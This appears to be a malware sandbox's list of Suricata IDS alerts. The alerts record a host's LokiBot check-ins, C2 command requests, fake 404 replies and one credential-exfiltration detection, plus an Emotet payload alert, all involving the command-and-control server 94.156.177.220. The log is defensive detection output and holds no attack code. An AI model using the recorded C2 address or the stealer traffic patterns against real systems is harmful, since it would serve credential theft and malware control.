Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49210 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49210 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49235
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49231 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49218 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49233 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49231 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49185 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49230
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49234 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49231
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49225 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49234 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49254 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49254 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49233 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49201
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49239 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49239 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49238 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49254 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49241 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49241 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49238 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49225
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49254 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49254 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49185 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49210 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49210 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49228 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49228 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49185 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49228 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49200 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49241 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49228 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49255 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49255 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49238
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49241 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49228 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49210
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49228
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49248 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49248 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49248 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49234
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49248 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49248 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49219 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49255
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49219 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49217 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49241 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49233 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49239 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49241
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49217 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49233 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49217 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49233 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49254
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49185 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49233
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49224 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49219
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49224 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49217 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49224 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49180 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49180 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49217 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49188 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49188 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49200 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49178 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49200
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49178 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49178 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49224 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49224 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49240 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49240 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49208 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49208 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49217
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49248
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49224
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49218 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49208 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49242 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49242 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49208 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49242 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49208 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49218 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49218 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49208
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49242 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49242 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49218
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49239 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49242
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49239 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49239
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49249 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49249 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49249 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49229 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49229 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49229 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49249 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49249 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49246 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49246 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49240 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49249
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49240 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49240 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49240
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49245 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49245 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49245 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49229 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49229 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49245 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49245 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49229
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49246 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49246 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49246 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49185
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49246
Source: Network traffic	Suricata IDS: 2035065 - Severity 1 - ET MALWARE W32/Emotet.v4 Checkin Fake 404 Payload Response : 94.156.177.220:80 -> 192.168.2.22:49246
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49245
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49206 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49206 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49206 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49253 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49253 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49253 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49206 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49206 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49253 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49253 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49206
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49253
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49223 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49223 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49223 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49223 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49223 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49223
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49188 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49188 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49188 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49188
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49237 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49237 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49237 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49237 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49237 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49237
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49250 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49250 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49250 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49250 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49250 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49250
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49180 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49180 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49180 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49211 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024312 - Severity 1 - ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1 : 192.168.2.22:49178 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49227 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49227 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49227 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49227 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49227 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49227
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49180
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49211
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49197 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49197 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49197 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49197 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49197 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49232 -> 94.156.177.220:80
